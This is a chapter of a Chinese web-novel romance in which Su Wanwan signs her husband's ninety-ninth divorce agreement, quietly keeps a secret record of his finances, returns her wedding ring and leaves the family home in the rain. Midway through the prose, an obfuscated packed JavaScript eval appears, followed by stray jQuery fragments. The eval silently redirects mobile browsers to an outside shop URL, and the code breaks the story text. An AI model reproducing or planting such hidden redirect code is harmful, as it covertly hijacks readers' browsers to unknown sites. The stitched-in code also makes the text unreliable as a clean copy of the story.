雨水打在落地窗上，沿着玻璃蜿蜒而下，把外面的天光切割成模糊的碎片。
苏晚晚跪在客厅的地毯上，膝盖硌着羊毛编织的纹路，一下一下地擦。茶几底下有一道暗红色的酒渍，是上周傅衍之带林婉儿回来时，她“不小心”打翻的那杯赤霞珠。
她擦了三遍，那块印记还是隐约可见。
“擦不掉的。”她轻声说，像是在跟地毯说话，又像是在跟自己说话。
手指无意识地抬起，去摸右手无名指内侧那道疤痕。指尖触到那道极细的银白色凸起时，她顿住了——然后垂下手，把抹布丢进水桶里。
今天不用擦了。
管家老张从厨房门口探出半个身子，手里拿着一个牛皮纸信封：“太太，傅先生让我交给您的。”
苏晚晚没接，眼皮都没抬。
老张顿了顿，把信封放在玄关的鞋柜上，转身走了。他走路的姿态是那种训练有素的、刻意放轻的脚步，在傅家做了十五年管家，知道什么时候该说，什么时候该闭嘴。
苏晚晚看着那个信封，看了很久。
封口没有粘死，露出一角纸。白色的，复印纸的质感，不是她之前见过的那种象牙白合同纸。
她站起来，膝盖微微发麻，走过去抽出那张纸。
打印体，宋体小四号，标题加粗：“离婚协议书”。
第九十九份。
苏晚晚笑了一下。嘴角往上牵了不到半厘米，又落回去。
前面九十八份，她都签了，他没去民政局。有的理由是“今天开会太晚”，有的是“出差下周再说”，还有一次她签完之后等了三个月，等来的是一张他搂着林婉儿参加慈善晚宴的照片，配文是“傅氏集团总裁携夫人出席”——那个“夫人”旁边的名字，是苏晚晚的继妹。
她一直以为他是不忍心。
今天才知道，他可能只是还没准备好下一任。
协议书很薄，三页纸。她翻了一遍，条款跟之前九十八份大同小异：因感情不合，自愿解除婚姻关系；傅衍之名下房产、车辆、股权，归傅衍之所有；苏晚晚放弃一切财产分割请求权；本协议一次性了结，双方再无任何经济纠葛。
第五页底部有一个小小的补充条款，手写的，蓝黑色钢笔字迹，她认得那笔字——傅衍之的字。当年他追她的时候，给她写过情书，那个“苏”字的走之旁是连笔的，像一条小河。
“女方须在本协议签署后二十四小时内搬离傅家住宅。”
苏晚晚的拇指按在那行字上，来回摩挲了两遍。
她想起三年前嫁进来的时候，傅衍之在那个喷泉前面单膝跪地，说“晚晚，这里以后就是你的家”。喷泉是她挑的，款式她改了三次，最终定了个很笨重的欧式三层喷泉，流水声太大，吵得她睡不着觉。
他从来没问过她睡得好不好。
她拿起鞋柜上的笔——也是傅衍之的，凌美，银灰色，他从来不让她用他的笔，说她的生活习惯不好，会把笔帽弄丢。苏晚晚拔开笔帽，在签名栏上写下自己的名字。
苏晚晚。
横平竖直，没有连笔，跟他送的钻戒一样规规矩矩。
她写完最后一笔，把纸折好塞回信封，放在鞋柜正中央。然后去厨房倒了杯水，站在流理台前慢慢地喝。
窗外开始下雨了，锦城七月常见的暴雨，豆大的雨点砸在玻璃上，噼里啪啦的，像有人往窗户上撒了一把黄豆。她看着雨水把外面的棕榈树叶打得东倒西歪，想起后院的玫瑰该收进来了——那是她春天种下的，费了好大功夫，从选苗到培土全是一个人弄的，傅衍之说他花粉过敏，让她种远一点。
她种在院墙最角落，离他的落地窗二十米。
水喝完了，她把杯子放进洗碗机里摆好，转身往楼上走。
主卧的衣柜里，她的东西很少。三年来她也没添置过什么像样的衣物，傅衍之给她打的生活费每个月固定三万，她大部分都存起来了，自己也不知道存来做什么。衣柜左侧的角落头，挂着一件白色的连衣裙，是她结婚那天穿的。
她没穿婚纱，因为傅衍之说婚礼从简。
她很听话，穿了条普通的白裙子，去民政局拍了张红底照片，出来的时候他接了个电话，说公司有事，让她自己打车回去。
苏晚晚把白裙子取下来，叠好，放进旅行袋里。
抽屉的夹层有一个牛皮纸笔记本，封面是《家常菜谱1000例》。她翻开，从封皮夹层里抽出一张折了四折、边缘已经有些磨损的A4纸，展开，上面密密麻麻的，都是数字和人名——那是三年里，她每次从财务那里套话、或者趁他在书房睡着后，偷偷记下的流水细节。
她看了几秒钟，把纸重新折好，塞进外套内袋。
旅行袋只装了一半。一件换洗衣服，一支笔，一张银行卡——里面是三年的生活费，她没花完的部分，总共十一万八千六。还有那个笔记本。
她环顾了一圈主卧，目光落在床头柜上。
那个抽屉里，有一顶没织完的婴儿帽，奶白色的，毛线已经起球了。是她在某个失眠的夜里偷偷织的，织完又拆，拆完又织，反反复复，像是某种自我惩罚的仪式。
她没带走它。
下楼的时候，雨更大了。苏晚晚站在玄关换了双平底凉鞋，把拖鞋整整齐齐地摆在鞋架上——左边一只，右边一只，鞋跟对齐——那是傅衍之要求的，他受不了家里东倒西歪。
她的手碰上冰冷的黄铜门把手时，院子里传来汽车引擎声。
黑色迈巴赫压过积水的路面，轮胎碾出一片水花，停在门廊下。车窗降下来，露出一张她熟悉到骨子里的脸。
傅衍之没看她，低着头在看手机，屏幕上是一封标着“【机密】第三季度财报”的邮件，拇指飞速滑动屏幕，眉头因某个并不理想的数字而微微蹙着。他今天穿了件深灰色西装，领带打得一丝不苟，衬衫领口干净得像是刚从干洗店取出来的。他的手指修长干净，指甲修剪得整整齐齐，在手机屏幕上一下一下地点着。
苏晚晚站在门廊下，雨丝飘过来，打湿了她的袖口。
“看到了？”傅衍之的目光终于从手机上移开，抬起来看了她一眼，眼神很淡，像在看一个不相干的陌生人，“签了？”
“签了。”
“那就走吧。”他的视线又落回屏幕上。
“好。”
苏晚晚拉起旅行袋的拉链，从门廊往外走。雨打在脸上，她的头发立刻湿了，贴在脸颊上。她没有加快脚步，而是不紧不慢地走到院门口，拉开铁门，走出去，把门在身后带上。
铁门发出一声沉闷的“咔嗒”。
她走出去八步之后，身后传来傅衍之的声音：“苏晚晚。”
她站住了，没有回头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741801|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
雨声很大，他的声音被压得很轻，像是隔了一层水幕：“戒指。”
苏晚晚低头看了一眼自己的左手无名指——那枚钻戒。傅家传给长媳的，据说有三十年的历史，傅衍之的祖母传给他母亲，他母亲去世之前亲手戴在她手上。
她慢慢地把戒指拔下来。
戒圈划过指关节的时候有一点阻力，她用了点力才抽出来。指纹被雨水冲得干干净净，钻石在灰暗的天光下闪着冷白的光。
苏晚晚转回身，走到车前，把戒指从车窗缝里递进去。
傅衍之没接。他只是瞥了一眼那枚戒指，嘴角浮起一个很淡的、像是一个做完了例行功课的表情：“放那儿吧。”
她把戒指放在仪表盘上，钻石磕在钢琴烤漆面板上，“叮”的一声轻响。
苏晚晚转身往街道尽头走。
高跟鞋踩在积水里，水花溅上小腿，凉丝丝的。她听见身后的车窗升起来，引擎声重新响起，然后那辆车调了个头，往反方向开走了——
那个她住了三年的家的方向。
她没回头。
雨越下越大，整条街空荡荡的，只有她一个人，拎着一个半满的旅行袋，一步一步地往前走。雨水顺着她的发梢淌下来，沿着后颈渗进衣领里。
她在下一个路口停下来，站在一个公交站牌底下，把湿透的外套脱下来拧了拧水。
站牌背面有一个小广告，被雨水洇湿了一半，隐约能看到上面写着“出租”二字，下面一串电话。她盯着那串数字看了几秒，掏出手机按下去。
响了三声，通了。
“喂，您好，我想看个房子……”
话说到一半，她忽然忘了自己要说哪个区。她站在公交站牌下，雨棚挡不住斜飘的雨，半边身子都湿透了，手机屏幕上的水珠让触屏失灵，电话那头喂了两声，她没应。
“不好意思。”她挂了电话。
手机屏幕映出一张脸，憔悴的，睫毛糊成一团，眼眶发红——这让她想起新婚第二天早上，她站在洗手间里，对着镜子跟自己说的话：“苏晚晚，好好过日子。”
那面镜子现在还挂在傅家主卧的洗手间里。
她收好手机，拖着旅行袋继续往前走。
走了大概两百米，她忽然停下来，站在一家关门的五金店门口，伸手往外套内袋里摸了摸——那张边缘磨损的A4纸还在，完好无损，没被雨水打湿。
她背靠着卷帘门，仰起头，让雨水淋在脸上。
雨很大，眼角的什么东西被冲刷干净了，她的视野模糊了一瞬，又亮起来。
她低头看了看自己的右手，无名指内侧那道银白色的疤痕在雨水的浸泡下显得格外清晰，像一枚被遗忘的指纹。
她轻轻握住自己的手腕，指腹按在那道疤痕上。
“苏晚晚。”她对自己说，声音很轻，被雨声盖住，像是说给某个人听，又像是说给自己听，“地上没有碎掉的心，只有碎掉的玻璃杯。”
她松开手，直起身来，把湿透的刘海拨到耳后，继续往前走。
身后的路灯依次亮起来，橙黄色的光铺在积水上，映出一个瘦削的、逐渐走远的影子。她走了很久，久到雨快要停了，久到鞋子里的水把脚泡得发白，久到手机屏幕亮了一下，弹出一条消息——
备注名是“傅衍之”，内容只有两个字：
“走完了？”